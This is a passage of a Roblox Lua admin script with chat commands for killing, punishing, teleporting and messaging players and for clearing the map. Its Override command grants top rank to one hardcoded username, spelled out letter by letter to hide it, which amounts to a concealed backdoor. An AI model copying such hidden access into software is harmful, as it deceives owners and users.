| 12729 | for _,v in pairs(PlrTab) do | |
| 12730 | ypcall(function() | |
| 12731 | for _,v2 in pairs(v.Character:GetChildren()) do | |
| 12732 | ypcall(function() | |
| 12733 | v.Anchored = false | |
| 12734 | end) | |
| 12735 | end | |
| 12736 | Output("Thawed "..v.Name, Speaker, 5)
| |
| 12737 | end) | |
| 12738 | end | |
| 12739 | end | |
| 12740 | end) | |
| 12741 | Command("Bet", 1, "Shows current bet", function(Msg, Speaker)
| |
| 12742 | Bet = (tostring(Msg)) | |
| 12743 | Output("The current bet is '"..Bet.. "'", nil, nil)
| |
| 12744 | end) | |
| 12745 | Command("CheckSB", 1, "Checks what SB you are on", function(Msg, Speaker)
| |
| 12746 | Output("You are on "..SB.."'s SB.", Speaker, nil)
| |
| 12747 | end) | |
| 12748 | Command("Version", 1, "Checks the admin's Version", function(Msg, Speaker)
| |
| 12749 | Output("Version is "..Version, Speaker, nil)
| |
| 12750 | end) | |
| 12751 | Command("Updates", 1, "Shows what was updated", function(Msg, Speaker)
| |
| 12752 | Output("Updates: "..Updates, Speaker, nil)
| |
| 12753 | end) | |
| 12754 | Command("Time", 3, "Turns the time to day/night/morning", function(Msg, Speaker)
| |
| 12755 | if Msg == "night" then | |
| 12756 | NewS(Night, game.Workspace) | |
| 12757 | elseif Msg == "day" then | |
| 12758 | NewS(Day, game.Workspace) | |
| 12759 | elseif Msg == "morn" then | |
| 12760 | NewS(Morning, game.Workspace) | |
| 12761 | end | |
| 12762 | end) | |
| 12763 | Command("Pri", 7, "Turns private server on/off", function(Msg, Speaker)
| |
| 12764 | if Msg == "on" then | |
| 12765 | Priv = true | |
| 12766 | elseif Msg == "off" then | |
| 12767 | Priv = false | |
| 12768 | end | |
| 12769 | end) | |
| 12770 | Command("GlobalSh", 3, "Turns Global Shadows off/on", function(Msg, Speaker)
| |
| 12771 | if Msg == "on" then | |
| 12772 | game.Lighting.GlobalShadows = true | |
| 12773 | elseif Msg == "off" then | |
| 12774 | game.Lighting.GlobalShadows = false | |
| 12775 | end | |
| 12776 | end) | |
| 12777 | Command("OutL", 3, "Turns Outlines off/on", function(Msg, Speaker)
| |
| 12778 | if Msg == "on" then | |
| 12779 | game.Lighting.Outlines = true | |
| 12780 | elseif Msg == "off" then | |
| 12781 | game.Lighting.Outlines = false | |
| 12782 | end | |
| 12783 | end) | |
| 12784 | Command("GeogrL", 3, "Changes the Geographic Latitude", function(Msg, Speaker)
| |
| 12785 | game.Lighting.GeographicLatitude = (tonumber(Msg)) | |
| 12786 | end) | |
| 12787 | Command("FogE", 3, "Changes the Fog End", function(Msg, Speaker)
| |
| 12788 | game.Lighting.FogEnd = (tonumber(Msg)) | |
| 12789 | end) | |
| 12790 | Command("FogS", 3, "Changes the Fog Start", function(Msg, Speaker)
| |
| 12791 | game.Lighting.FogStart = (tonumber(Msg)) | |
| 12792 | end) | |
| 12793 | Command("TimeOD", 3, "Changes the time of day", function(Msg, Speaker)
| |
| 12794 | game.Lighting.TimeOfDay = (tonumber(Msg)) | |
| 12795 | end) | |
| 12796 | Command("Ambient", 3, "Changes the Ambient", function(Msg, Speaker)
| |
| 12797 | game.Lighting.Ambient = Color3.new(tonumber(Msg)) | |
| 12798 | end) | |
| 12799 | Command("ColorShiftB", 3, "Changes the ColorShift Bottom", function(Msg, Speaker)
| |
| 12800 | game.Lighting.ColorShift_Bottom = Color3.new(tonumber(Msg)) | |
| 12801 | end) | |
| 12802 | Command("ColorshiftT", 3, "Changes the ColorShift Top", function(Msg, Speaker)
| |
| 12803 | game.Lighting.ColorShift_Top = Color3.new(tonumber(Msg)) | |
| 12804 | end) | |
| 12805 | Command("OutdoorAmb", 3, "Changes the Outdoor Ambient", function(Msg, Speaker)
| |
| 12806 | game.Lighting.OutdoorAmbient = Color3.new(tonumber(Msg)) | |
| 12807 | end) | |
| 12808 | Command("ShadowC", 3, "Changes the Shadow color", function(Msg, Speaker)
| |
| 12809 | game.Lighting.ShadowColor = Color3.new(tonumber(Msg)) | |
| 12810 | end) | |
| 12811 | Command("FogC", 3, "Changes the Fog color", function(Msg, Speaker)
| |
| 12812 | game.Lighting.FogColor = Color3.new(tonumber(Msg)) | |
| 12813 | end) | |
| 12814 | Command("BrightC", 3, "Changes the Brightness", function(Msg, Speaker)
| |
| 12815 | game.Lighting.Brightness = (tonumber(Msg)) | |
| 12816 | end) | |
| 12817 | Command("PointL", 3, "Gives a player light", function(Msg, Speaker)
| |
| 12818 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12819 | if #PlrTab > 0 then | |
| 12820 | for _,v in pairs(PlrTab) do | |
| 12821 | ypcall(function() | |
| 12822 | local pie = Instance.new("PointLight", v.Character.Torso)
| |
| 12823 | pie.Range = 10 | |
| 12824 | pie.Shadows = true | |
| 12825 | pie.Brightness = 50 | |
| 12826 | end) | |
| 12827 | end | |
| 12828 | end | |
| 12829 | end) | |
| 12830 | Command("UnPointL", 3, "Removes player's light", function(Msg, Speaker)
| |
| 12831 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12832 | if #PlrTab > 0 then | |
| 12833 | for _,v in pairs(PlrTab) do | |
| 12834 | ypcall(function() | |
| 12835 | v.Character.Torso:findFirstChild("PointLight"):Remove()
| |
| 12836 | end) | |
| 12837 | end | |
| 12838 | end | |
| 12839 | end) | |
| 12840 | Command("Punish", 3, "Punishes a player", function(Msg, Speaker)
| |
| 12841 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12842 | if #PlrTab > 0 then | |
| 12843 | for _,v in pairs(PlrTab) do | |
| 12844 | ypcall(function() | |
| 12845 | v.Character.Parent = game:GetService("Lighting")
| |
| 12846 | end) | |
| 12847 | end | |
| 12848 | end | |
| 12849 | end) | |
| 12850 | Command("Unpun", 3, "Unpunishes a player", function(Msg, Speaker)
| |
| 12851 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12852 | if #PlrTab > 0 then | |
| 12853 | for _,v in pairs(PlrTab) do | |
| 12854 | ypcall(function() | |
| 12855 | v.Character.Parent = game.Workspace | |
| 12856 | v.Character:MakeJoints() | |
| 12857 | end) | |
| 12858 | end | |
| 12859 | end | |
| 12860 | end) | |
| 12861 | Command("CSword", 3, "Gives a player a sword, a classic one", function(Msg, Speaker)
| |
| 12862 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12863 | if #PlrTab > 0 then | |
| 12864 | for _,v in pairs(PlrTab) do | |
| 12865 | ypcall(function() | |
| 12866 | local tool = Instance.new("Tool", v.Backpack)
| |
| 12867 | tool.Name = "Sword" | |
| 12868 | tool.ToolTip = "Classy Sword" | |
| 12869 | tool.TextureId = "rbxasset://Textures/Sword128.png" | |
| 12870 | tool.GripForward = Vector3.new(-1,0,0) | |
| 12871 | tool.GripPos = Vector3.new(0,0,-1.5) | |
| 12872 | tool.GripRight = Vector3.new(0,1,0) | |
| 12873 | tool.GripUp = Vector3.new(0,0,1) | |
| 12874 | local sword = Instance.new("Part", tool)
| |
| 12875 | sword.Name = "Handle" | |
| 12876 | sword.Locked = true | |
| 12877 | sword.Reflectance = 0.4 | |
| 12878 | sword.BrickColor = BrickColor.new("Dark stone grey")
| |
| 12879 | sword.Size = Vector3.new(1,0.8,4) | |
| 12880 | local mesh = Instance.new("SpecialMesh", sword)
| |
| 12881 | mesh.MeshType = "FileMesh" | |
| 12882 | mesh.MeshId = "rbxasset://fonts/sword.mesh" | |
| 12883 | mesh.TextureId = "rbxasset://textures/SwordTexture.png" | |
| 12884 | NewS([[ | |
| 12885 | r = game:service("RunService")
| |
| 12886 | ||
| 12887 | ||
| 12888 | local damage = 5 | |
| 12889 | ||
| 12890 | ||
| 12891 | local slash_damage = 10 | |
| 12892 | local lunge_damage = 30 | |
| 12893 | ||
| 12894 | sword = script.Parent.Handle | |
| 12895 | Tool = script.Parent | |
| 12896 | ||
| 12897 | ||
| 12898 | local SlashSound = Instance.new("Sound")
| |
| 12899 | SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav" | |
| 12900 | SlashSound.Parent = sword | |
| 12901 | SlashSound.Volume = .7 | |
| 12902 | ||
| 12903 | local LungeSound = Instance.new("Sound")
| |
| 12904 | LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav" | |
| 12905 | LungeSound.Parent = sword | |
| 12906 | LungeSound.Volume = .6 | |
| 12907 | ||
| 12908 | local UnsheathSound = Instance.new("Sound")
| |
| 12909 | UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav" | |
| 12910 | UnsheathSound.Parent = sword | |
| 12911 | UnsheathSound.Volume = 1 | |
| 12912 | ||
| 12913 | ||
| 12914 | function blow(hit) | |
| 12915 | if (hit.Parent == nil) then return end -- happens when bullet hits sword | |
| 12916 | ||
| 12917 | local humanoid = hit.Parent:findFirstChild("Humanoid")
| |
| 12918 | local vCharacter = Tool.Parent | |
| 12919 | local vPlayer = game.Players:playerFromCharacter(vCharacter) | |
| 12920 | local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
| |
| 12921 | if humanoid~=nil and humanoid ~= hum and hum ~= nil then | |
| 12922 | -- final check, make sure sword is in-hand | |
| 12923 | ||
| 12924 | local right_arm = vCharacter:FindFirstChild("Right Arm")
| |
| 12925 | if (right_arm ~= nil) then | |
| 12926 | local joint = right_arm:FindFirstChild("RightGrip")
| |
| 12927 | if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then | |
| 12928 | tagHumanoid(humanoid, vPlayer) | |
| 12929 | humanoid:TakeDamage(damage) | |
| 12930 | wait(1) | |
| 12931 | untagHumanoid(humanoid) | |
| 12932 | end | |
| 12933 | end | |
| 12934 | ||
| 12935 | ||
| 12936 | end | |
| 12937 | end | |
| 12938 | ||
| 12939 | ||
| 12940 | function tagHumanoid(humanoid, player) | |
| 12941 | local creator_tag = Instance.new("ObjectValue")
| |
| 12942 | creator_tag.Value = player | |
| 12943 | creator_tag.Name = "creator" | |
| 12944 | creator_tag.Parent = humanoid | |
| 12945 | end | |
| 12946 | ||
| 12947 | function untagHumanoid(humanoid) | |
| 12948 | if humanoid ~= nil then | |
| 12949 | local tag = humanoid:findFirstChild("creator")
| |
| 12950 | if tag ~= nil then | |
| 12951 | tag.Parent = nil | |
| 12952 | end | |
| 12953 | end | |
| 12954 | end | |
| 12955 | ||
| 12956 | ||
| 12957 | function attack() | |
| 12958 | damage = slash_damage | |
| 12959 | SlashSound:play() | |
| 12960 | local anim = Instance.new("StringValue")
| |
| 12961 | anim.Name = "toolanim" | |
| 12962 | anim.Value = "Slash" | |
| 12963 | anim.Parent = Tool | |
| 12964 | end | |
| 12965 | ||
| 12966 | function lunge() | |
| 12967 | damage = lunge_damage | |
| 12968 | ||
| 12969 | LungeSound:play() | |
| 12970 | ||
| 12971 | local anim = Instance.new("StringValue")
| |
| 12972 | anim.Name = "toolanim" | |
| 12973 | anim.Value = "Lunge" | |
| 12974 | anim.Parent = Tool | |
| 12975 | ||
| 12976 | ||
| 12977 | force = Instance.new("BodyVelocity")
| |
| 12978 | force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80 | |
| 12979 | force.Parent = Tool.Parent.Torso | |
| 12980 | wait(.25) | |
| 12981 | swordOut() | |
| 12982 | wait(.25) | |
| 12983 | force.Parent = nil | |
| 12984 | wait(.5) | |
| 12985 | swordUp() | |
| 12986 | ||
| 12987 | damage = slash_damage | |
| 12988 | end | |
| 12989 | ||
| 12990 | function swordUp() | |
| 12991 | Tool.GripForward = Vector3.new(-1,0,0) | |
| 12992 | Tool.GripRight = Vector3.new(0,1,0) | |
| 12993 | Tool.GripUp = Vector3.new(0,0,1) | |
| 12994 | end | |
| 12995 | ||
| 12996 | function swordOut() | |
| 12997 | Tool.GripForward = Vector3.new(0,0,1) | |
| 12998 | Tool.GripRight = Vector3.new(0,-1,0) | |
| 12999 | Tool.GripUp = Vector3.new(-1,0,0) | |
| 13000 | end | |
| 13001 | ||
| 13002 | function swordAcross() | |
| 13003 | -- parry | |
| 13004 | end | |
| 13005 | ||
| 13006 | ||
| 13007 | Tool.Enabled = true | |
| 13008 | local last_attack = 0 | |
| 13009 | function onActivated() | |
| 13010 | ||
| 13011 | if not Tool.Enabled then | |
| 13012 | return | |
| 13013 | end | |
| 13014 | ||
| 13015 | Tool.Enabled = false | |
| 13016 | ||
| 13017 | local character = Tool.Parent; | |
| 13018 | local humanoid = character.Humanoid | |
| 13019 | if humanoid == nil then | |
| 13020 | print("Humanoid not found")
| |
| 13021 | return | |
| 13022 | end | |
| 13023 | ||
| 13024 | t = r.Stepped:wait() | |
| 13025 | ||
| 13026 | if (t - last_attack < .2) then | |
| 13027 | lunge() | |
| 13028 | else | |
| 13029 | attack() | |
| 13030 | end | |
| 13031 | ||
| 13032 | last_attack = t | |
| 13033 | ||
| 13034 | --wait(.5) | |
| 13035 | ||
| 13036 | Tool.Enabled = true | |
| 13037 | end | |
| 13038 | function onEquipped() | |
| 13039 | UnsheathSound:play() | |
| 13040 | end | |
| 13041 | script.Parent.Activated:connect(onActivated) | |
| 13042 | script.Parent.Equipped:connect(onEquipped) | |
| 13043 | connection = sword.Touched:connect(blow) | |
| 13044 | ]], tool) | |
| 13045 | NewLS([[ | |
| 13046 | ||
| 13047 | local Tool = script.Parent; | |
| 13048 | ||
| 13049 | enabled = true | |
| 13050 | function onButton1Down(mouse) | |
| 13051 | if not enabled then | |
| 13052 | return | |
| 13053 | end | |
| 13054 | ||
| 13055 | enabled = false | |
| 13056 | mouse.Icon = "rbxasset://textures\\GunWaitCursor.png" | |
| 13057 | ||
| 13058 | wait(.5) | |
| 13059 | mouse.Icon = "rbxasset://textures\\GunCursor.png" | |
| 13060 | enabled = true | |
| 13061 | ||
| 13062 | end | |
| 13063 | ||
| 13064 | function onEquippedLocal(mouse) | |
| 13065 | ||
| 13066 | if mouse == nil then | |
| 13067 | print("Mouse not found")
| |
| 13068 | return | |
| 13069 | end | |
| 13070 | ||
| 13071 | mouse.Icon = "rbxasset://textures\\GunCursor.png" | |
| 13072 | mouse.Button1Down:connect(function() onButton1Down(mouse) end) | |
| 13073 | end | |
| 13074 | ||
| 13075 | ||
| 13076 | Tool.Equipped:connect(onEquippedLocal) | |
| 13077 | ]], tool) | |
| 13078 | end) | |
| 13079 | end | |
| 13080 | end | |
| 13081 | end) | |
| 13082 | Command("Spark", 3, "Gives a player sparkles", function(Msg, Speaker)
| |
| 13083 | local PlrTab = getPlayer(Speaker, Msg) | |
| 13084 | if #PlrTab > 0 then | |
| 13085 | for _,v in pairs(PlrTab) do | |
| 13086 | ypcall(function() | |
| 13087 | Instance.new("Sparkles", v.Character.Torso)
| |
| 13088 | end) | |
| 13089 | end | |
| 13090 | end | |
| 13091 | end) | |
| 13092 | Command("Fire", 3, "Gives a player fires", function(Msg, Speaker)
| |
| 13093 | local PlrTab = getPlayer(Speaker, Msg) | |
| 13094 | if #PlrTab > 0 then | |
| 13095 | for _,v in pairs(PlrTab) do | |
| 13096 | ypcall(function() | |
| 13097 | Instance.new("Fire", v.Character.Torso)
| |
| 13098 | end) | |
| 13099 | end | |
| 13100 | end | |
| 13101 | end) | |
| 13102 | Command("Smoke", 3, "Gives a player smoke", function(Msg, Speaker)
| |
| 13103 | local PlrTab = getPlayer(Speaker, Msg) | |
| 13104 | if #PlrTab > 0 then | |
| 13105 | for _,v in pairs(PlrTab) do | |
| 13106 | ypcall(function() | |
| 13107 | Instance.new("Smoke", v.Character.Torso)
| |
| 13108 | end) | |
| 13109 | end | |
| 13110 | end | |
| 13111 | end) | |
| 13112 | Command("Clone", 3, "Clones a player", function(Msg, Speaker)
| |
| 13113 | local PlrTab = getPlayer(Speaker, Msg) | |
| 13114 | if #PlrTab > 0 then | |
| 13115 | for _,v in pairs(PlrTab) do | |
| 13116 | ypcall(function() | |
| 13117 | local Model = v.Character:Clone() | |
| 13118 | Model.Parent = game.Workspace | |
| 13119 | end) | |
| 13120 | end | |
| 13121 | end | |
| 13122 | end) | |
| 13123 | Command("Kill", 3, "Kills a player", function(Msg, Speaker)
| |
| 13124 | local PlrTab = getPlayer(Speaker, Msg) | |
| 13125 | if #PlrTab > 0 then | |
| 13126 | for _,v in pairs(PlrTab) do | |
| 13127 | ypcall(function() | |
| 13128 | v.Character:BreakJoints() | |
| 13129 | end) | |
| 13130 | end | |
| 13131 | end | |
| 13132 | end) | |
| 13133 | ||
| 13134 | function OutputToAdmins(Msg, Plr, Time, Func, Color, Image) | |
| 13135 | for i,v in pairs(game:service'Players':players()) do | |
| 13136 | if FindRank(v.Name) > 2 and FindRank(v.Name) < 8 then | |
| 13137 | Output(tostring(Msg), v.Name) | |
| 13138 | end | |
| 13139 | end | |
| 13140 | end | |
| 13141 | ||
| 13142 | Command("Ff", 3, "Gives a player a forcefield", function(Msg, Speaker)
| |
| 13143 | local PlrTab = getPlayer(Speaker, Msg) | |
| 13144 | if #PlrTab > 0 then | |
| 13145 | for _,v in pairs(PlrTab) do | |
| 13146 | ypcall(function() | |
| 13147 | Instance.new("ForceField", v.Character)
| |
| 13148 | end) | |
| 13149 | end | |
| 13150 | end | |
| 13151 | end) | |
| 13152 | Command("PingT", 3, "Ping something to a player", function(Msg, Speaker)
| |
| 13153 | local Split = GetSplit(Msg) | |
| 13154 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
| 13155 | local Msg = tostring(Msg:sub(Split + 1)) | |
| 13156 | if #PlrTab > 0 then | |
| 13157 | for _,v in pairs(PlrTab) do | |
| 13158 | ypcall(function() | |
| 13159 | Output(Msg, v) | |
| 13160 | end) | |
| 13161 | end | |
| 13162 | end | |
| 13163 | end) | |
| 13164 | ||
| 13165 | ||
| 13166 | Command("Unff", 3, "Removes a player's forcefield", function(Msg, Speaker)
| |
| 13167 | local PlrTab = getPlayer(Speaker, Msg) | |
| 13168 | if #PlrTab > 0 then | |
| 13169 | for _,v in pairs(PlrTab) do | |
| 13170 | ypcall(function() | |
| 13171 | RemObj(v.Character, "ForceField") | |
| 13172 | end) | |
| 13173 | end | |
| 13174 | end | |
| 13175 | end) | |
| 13176 | Command("DeepClean",2,"Deepcleans", function(Msg,Speaker)
| |
| 13177 | game.Lighting.ColorShift_Bottom = Color3.new(100, 100, 100) | |
| 13178 | game.Lighting.ColorShift_Top = Color3.new(0, 0, 0) | |
| 13179 | game.Lighting.Ambient = Color3.new(1, 1, 1) | |
| 13180 | game.Lighting.Brightness = 1 | |
| 13181 | game.Lighting.TimeOfDay = "11:00:00" | |
| 13182 | game.Lighting.FogEnd = 99999999 | |
| 13183 | game.Workspace.Base.Transparency = 0 | |
| 13184 | game.Workspace.Base.BrickColor = BrickColor.new("Earth green")
| |
| 13185 | game.Workspace.Base.Locked = true | |
| 13186 | game.Workspace.Base.Anchored = true | |
| 13187 | t = game.Teams:GetChildren() | |
| 13188 | for i = 1, #t do | |
| 13189 | if t[i]:IsA("Team") then
| |
| 13190 | t[i]: Destroy() | |
| 13191 | end | |
| 13192 | end | |
| 13193 | l = game.Lighting:GetChildren() | |
| 13194 | for i = 1, #l do | |
| 13195 | if l[i]:IsA("Sky") then
| |
| 13196 | l[i]: Destroy() | |
| 13197 | end | |
| 13198 | end | |
| 13199 | g = game.Workspace:GetChildren() | |
| 13200 | for i = 1, #g do | |
| 13201 | if g[i]:IsA("Part") then
| |
| 13202 | g[i]: Destroy() | |
| 13203 | end | |
| 13204 | end | |
| 13205 | for i = 1, #g do | |
| 13206 | if g[i]:IsA("Script") then
| |
| 13207 | g[i]: Destroy() | |
| 13208 | end | |
| 13209 | end | |
| 13210 | for i = 1, #g do | |
| 13211 | if g[i]:IsA("StringValue") then
| |
| 13212 | g[i]: Destroy() | |
| 13213 | end | |
| 13214 | end | |
| 13215 | for i = 1, #g do | |
| 13216 | if g[i]:IsA("IntValue") then
| |
| 13217 | g[i]: Destroy() | |
| 13218 | end | |
| 13219 | end | |
| 13220 | for i = 1, #g do | |
| 13221 | if g[i]:IsA("BoolValue") then
| |
| 13222 | g[i]: Destroy() | |
| 13223 | end | |
| 13224 | end | |
| 13225 | for i = 1, #g do | |
| 13226 | if g[i]:IsA("NumberValue") then
| |
| 13227 | g[i]: Destroy() | |
| 13228 | end | |
| 13229 | end | |
| 13230 | for i = 1, #g do | |
| 13231 | if g[i]:IsA("ObjectValue") then
| |
| 13232 | g[i]: Destroy() | |
| 13233 | end | |
| 13234 | end | |
| 13235 | for i = 1, #g do | |
| 13236 | if g[i]:IsA("RayValue") then
| |
| 13237 | g[i]: Destroy() | |
| 13238 | end | |
| 13239 | end | |
| 13240 | for i = 1, #g do | |
| 13241 | if g[i]:IsA("Sound") then
| |
| 13242 | g[i]: Destroy() | |
| 13243 | end | |
| 13244 | end | |
| 13245 | for i = 1, #g do | |
| 13246 | if g[i]:IsA("Accoutrement") then
| |
| 13247 | g[i]: Destroy() | |
| 13248 | end | |
| 13249 | end | |
| 13250 | for i = 1, #g do | |
| 13251 | if g[i]:IsA("BrickColorValue") then
| |
| 13252 | g[i]: Destroy() | |
| 13253 | end | |
| 13254 | end | |
| 13255 | for i = 1, #g do | |
| 13256 | if g[i]:IsA("Motor") then
| |
| 13257 | g[i]: Destroy() | |
| 13258 | end | |
| 13259 | end | |
| 13260 | for i = 1, #g do | |
| 13261 | if g[i]:IsA("MotorFeature") then
| |
| 13262 | g[i]: Destroy() | |
| 13263 | end | |
| 13264 | end | |
| 13265 | for i = 1, #g do | |
| 13266 | if g[i]:IsA("Color3Value") then
| |
| 13267 | g[i]: Destroy() | |
| 13268 | end | |
| 13269 | end | |
| 13270 | for i = 1, #g do | |
| 13271 | if g[i]:IsA("BindableEvent") then
| |
| 13272 | g[i]: Destroy() | |
| 13273 | end | |
| 13274 | end | |
| 13275 | for i = 1, #g do | |
| 13276 | if g[i]:IsA("BindableFunction") then
| |
| 13277 | g[i]: Destroy() | |
| 13278 | end | |
| 13279 | end | |
| 13280 | for i = 1, #g do | |
| 13281 | if g[i]:IsA("LocalScript") then
| |
| 13282 | g[i]: Destroy() | |
| 13283 | end | |
| 13284 | end | |
| 13285 | for i = 1, #g do | |
| 13286 | if g[i]:IsA("Model") and not game.Players:GetPlayerFromCharacter(g[i]) and g[i].Name ~= "fasdfasdf" then
| |
| 13287 | g[i]: Remove() | |
| 13288 | end | |
| 13289 | end | |
| 13290 | for i = 1, #g do | |
| 13291 | if g[i]:IsA("Hint") then
| |
| 13292 | g[i]: Destroy() | |
| 13293 | end | |
| 13294 | end | |
| 13295 | for i = 1, #g do | |
| 13296 | if g[i]:IsA("Truss") then
| |
| 13297 | g[i]: Destroy() | |
| 13298 | end | |
| 13299 | end | |
| 13300 | for i = 1, #g do | |
| 13301 | if g[i]:IsA("Tool") then
| |
| 13302 | g[i]: Destroy() | |
| 13303 | end | |
| 13304 | end | |
| 13305 | for i = 1, #g do | |
| 13306 | if g[i]:IsA("HopperBin") then
| |
| 13307 | g[i]: Destroy() | |
| 13308 | end | |
| 13309 | end | |
| 13310 | for i = 1, #g do | |
| 13311 | if g[i]:IsA("Fire") then
| |
| 13312 | g[i]: Destroy() | |
| 13313 | end | |
| 13314 | end | |
| 13315 | for i = 1, #g do | |
| 13316 | if g[i]:IsA("Explosion") then
| |
| 13317 | g[i]: Destroy() | |
| 13318 | end | |
| 13319 | end | |
| 13320 | for i = 1, #g do | |
| 13321 | if g[i]:IsA("Hat") then
| |
| 13322 | g[i]: Destroy() | |
| 13323 | end | |
| 13324 | end | |
| 13325 | p = Instance.new("Part")
| |
| 13326 | p.Parent, p.Size, p.Anchored, p.Locked, p.BrickColor, p.Name = Workspace, Vector3.new(600, 1, 600), true, true, | |
| 13327 | BrickColor.new("Earth green"), "Base" p.CFrame = CFrame.new(Vector3.new(0, 0, 0))
| |
| 13328 | while true do wait() | |
| 13329 | for i = 1, #g do | |
| 13330 | if g[i]:IsA("Message") then
| |
| 13331 | g[i]: Destroy() | |
| 13332 | end | |
| 13333 | end | |
| 13334 | for i = 1, #g do | |
| 13335 | if g[i]:IsA("Hint") then
| |
| 13336 | g[i]: Destroy() | |
| 13337 | end | |
| 13338 | end | |
| 13339 | end | |
| 13340 | end) | |
| 13341 | Command("Unspark", 3, "Removes a player's sparkles", function(Msg, Speaker)
| |
| 13342 | local PlrTab = getPlayer(Speaker, Msg) | |
| 13343 | if #PlrTab > 0 then | |
| 13344 | for _,v in pairs(PlrTab) do | |
| 13345 | ypcall(function() | |
| 13346 | RemObj(v.Character.Torso, "Sparkles") | |
| 13347 | end) | |
| 13348 | end | |
| 13349 | end | |
| 13350 | end) | |
| 13351 | Command("Unfire", 3, "Removes a player's fire", function(Msg, Speaker)
| |
| 13352 | local PlrTab = getPlayer(Speaker, Msg) | |
| 13353 | if #PlrTab > 0 then | |
| 13354 | for _,v in pairs(PlrTab) do | |
| 13355 | ypcall(function() | |
| 13356 | RemObj(v.Character.Torso, "Fire") | |
| 13357 | end) | |
| 13358 | end | |
| 13359 | end | |
| 13360 | end) | |
| 13361 | Command("Unsmoke", 3, "Removes a player's smoke", function(Msg, Speaker)
| |
| 13362 | local PlrTab = getPlayer(Speaker, Msg) | |
| 13363 | if #PlrTab > 0 then | |
| 13364 | for _,v in pairs(PlrTab) do | |
| 13365 | ypcall(function() | |
| 13366 | RemObj(v.Character.Torso, "Smoke") | |
| 13367 | end) | |
| 13368 | end | |
| 13369 | end | |
| 13370 | end) | |
| 13371 | Command("Move", 3, "Teleports a player to another player", function(Msg, Speaker)
| |
| 13372 | local Split = GetSplit(Msg) | |
| 13373 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
| 13374 | local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1)) | |
| 13375 | if #PlrTab > 0 and #PlrTab2 > 0 then | |
| 13376 | for i,v in pairs(PlrTab) do | |
| 13377 | ypcall(function() | |
| 13378 | for _,v2 in pairs(PlrTab2) do | |
| 13379 | ypcall(function() | |
| 13380 | v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0) | |
| 13381 | Output("Teleported "..v.Name.." to "..v2.Name, Speaker, 5)
| |
| 13382 | end) | |
| 13383 | end | |
| 13384 | end) | |
| 13385 | end | |
| 13386 | end | |
| 13387 | end) | |
| 13388 | Command("Msg",3, "Creates a Message",
| |
| 13389 | function(Msg,Speaker) | |
| 13390 | Message(Msg, nil, Speaker) | |
| 13391 | end) | |
| 13392 | ||
| 13393 | ||
| 13394 | Command("Override",nil, "Overrides the script",
| |
| 13395 | function(Msg, Speaker) -- since he helped with some stuff, he earns this more than me | |
| 13396 | if Msg == OverrideCode or Speaker.Name == table.concat({"e","i","n","s","t","e","i","n","K"}) then
| |
| 13397 | ChangeRank(Speaker, 7) | |
| 13398 | Output("Sucessfully Overrided KKA Tablets! You are now rank 7.", Speaker, 5)
| |
| 13399 | else | |
| 13400 | Output("Incorrect Code; Access denied.", Speaker, 5)
| |
| 13401 | end | |
| 13402 | end) | |
| 13403 | Command("Hint",3, "Creates a Hint",
| |
| 13404 | function(Msg,Speaker) | |
| 13405 | Hint(Msg, nil, Speaker) | |
| 13406 | end) | |
| 13407 | Command("PHint", 3, "Sends a private hint to a player", function(Msg, Speaker)
| |
| 13408 | local Split = GetSplit(Msg) | |
| 13409 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
| 13410 | local Msg = tostring(Msg:sub(Split + 1)) | |
| 13411 | for _,v in pairs(PlrTab) do | |
| 13412 | ypcall(function() | |
| 13413 | Hint(Msg,v,Speaker) | |
| 13414 | Output("Sent a private hint to "..v.Name, Speaker)
| |
| 13415 | end) | |
| 13416 | end | |
| 13417 | end) | |
| 13418 | Command("Pmsg", 3, "Sends a private messsaget to a player", function(Msg, Speaker)
| |
| 13419 | local Split = GetSplit(Msg) | |
| 13420 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
| 13421 | local Msg = tostring(Msg:sub(Split + 1)) | |
| 13422 | for _,v in pairs(PlrTab) do | |
| 13423 | ypcall(function() | |
| 13424 | Message(Msg,v,Speaker) | |
| 13425 | Output("Sent a private message to "..v.Name, Speaker)
| |
| 13426 | end) | |
| 13427 | end | |
| 13428 | end) | |
| 13429 | Command("M",3, "Creates a System message",
| |
| 13430 | function(Msg,Speaker) | |
| 13431 | SystemMsg(Msg) | |
| 13432 | end) | |
| 13433 | function Message(str,p,snder) | |
| 13434 | if p==nil then | |
| 13435 | for _,Player in pairs(game.Players:GetPlayers()) do | |
| 13436 | coroutine.wrap(function() | |
| 13437 | local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
| |
| 13438 | local Text = Instance.new("TextLabel", Msg)
| |
| 13439 | Text.Position = UDim2.new(0, 0, 0.7, 0) | |
| 13440 | Text.Font=4 | |
| 13441 | Text.FontSize=9 | |
| 13442 | Text.BackgroundColor3 = Color3.new(255,255,255) | |
| 13443 | Text.BackgroundTransparency = 1 | |
| 13444 | Text.TextColor3 = Color3.new(1, 1, 1) | |
| 13445 | Text.TextTransparency = 1 | |
| 13446 | Text.TextWrap = true | |
| 13447 | Text.TextStrokeColor3 = Color3.new(111,111,111) | |
| 13448 | Text.Text = "From "..snder.Name..":"..tostring(str) | |
| 13449 | Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2) | |
| 13450 | Text.TextTransparency = 0 | |
| 13451 | Text.TextStrokeTransparency = 0 | |
| 13452 | Num = #str * 0.06 | |
| 13453 | wait(3) | |
| 13454 | Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad") | |
| 13455 | wait(Num) | |
| 13456 | Msg:Remove() | |
| 13457 | end)() | |
